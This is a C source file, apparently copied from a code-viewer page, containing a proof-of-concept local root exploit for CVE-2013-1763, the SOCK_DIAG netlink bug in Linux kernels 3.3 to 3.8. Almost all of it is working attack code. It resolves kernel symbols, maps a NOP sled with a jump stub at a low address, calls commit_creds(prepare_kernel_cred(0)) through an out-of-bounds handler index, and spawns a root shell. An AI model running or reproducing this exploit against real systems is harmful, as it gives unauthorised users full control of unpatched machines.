1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 |
/* * quick'n'dirty poc for CVE-2013-1763 SOCK_DIAG bug in kernel 3.3-3.8 * bug found by Spender * poc by SynQ * * hard-coded for 3.5.0-17-generic #28-Ubuntu SMP Tue Oct 9 19:32:08 UTC 2012 i686 i686 i686 GNU/Linux * using nl_table->hash.rehash_time, index 81 * * Fedora 18 support added * * 2/2013 */ #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> #include <netinet/tcp.h> #include <errno.h> #include <linux/if.h> #include <linux/filter.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <linux/sock_diag.h> #include <linux/inet_diag.h> #include <linux/unix_diag.h> #include <sys/mman.h> typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred; unsigned long sock_diag_handlers, nl_table; int __attribute__((regparm(3))) kernel_code() { commit_creds(prepare_kernel_cred(0)); return -1; } int jump_payload_not_used(void *skb, void *nlh) { asm volatile ( "mov $kernel_code, %eax\n" "call *%eax\n" ); } unsigned long get_symbol(char *name) { FILE *f; unsigned long addr; char dummy, sym[512]; int ret = 0; f = fopen("/proc/kallsyms", "r"); if (!f) { return 0; } while (ret != EOF) { ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sym); if (ret == 0) { fscanf(f, "%s\n", sym); continue; } if (!strcmp(name, sym)) { printf("[+] resolved symbol %s to %p\n", name, (void *) addr); fclose(f); return addr; } } fclose(f); return 0; } int main(int argc, char*argv[]) { int fd; unsigned family; struct { struct nlmsghdr nlh; struct unix_diag_req r; } req; char buf[8192]; if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG)) < 0){ printf("Can't create sock diag socket\n"); return -1; } memset(&req, 0, sizeof(req)); req.nlh.nlmsg_len = sizeof(req); req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY; req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST; req.nlh.nlmsg_seq = 123456; //req.r.sdiag_family = 89; req.r.udiag_states = -1; req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN; if(argc==1){ printf("Run: %s Fedora|Ubuntu\n",argv[0]); return 0; } else if(strcmp(argv[1],"Fedora")==0){ commit_creds = (_commit_creds) get_symbol("commit_creds"); prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred"); sock_diag_handlers = get_symbol("sock_diag_handlers"); nl_table = get_symbol("nl_table"); if(!prepare_kernel_cred || !commit_creds || !sock_diag_handlers || !nl_table){ printf("some symbols are not available!\n"); exit(1); } family = (nl_table - sock_diag_handlers) / 4; printf("family=%d\n",family); req.r.sdiag_family = family; if(family>255){ printf("nl_table is too far!\n"); exit(1); } } else if(strcmp(argv[1],"Ubuntu")==0){ commit_creds = (_commit_creds) 0xc106bc60; prepare_kernel_cred = (_prepare_kernel_cred) 0xc106bea0; req.r.sdiag_family = 81; } unsigned long mmap_start, mmap_size; mmap_start = 0x10000; mmap_size = 0x120000; printf("mmapping at 0x%lx, size = 0x%lx\n", mmap_start, mmap_size); if (mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) { printf("mmap fault\n"); exit(1); } memset((void*)mmap_start, 0x90, mmap_size); char jump[] = "\x55\x89\xe5\xb8\x11\x11\x11\x11\xff\xd0\x5d\xc3"; // jump_payload in asm unsigned long *asd = &jump[4]; *asd = (unsigned long)kernel_code; memcpy( (void*)mmap_start+mmap_size-sizeof(jump), jump, sizeof(jump)); if ( send(fd, &req, sizeof(req), 0) < 0) { printf("bad send\n"); close(fd); return -1; } printf("uid=%d, euid=%d\n",getuid(), geteuid() ); if(!getuid()) system("/bin/sh"); } |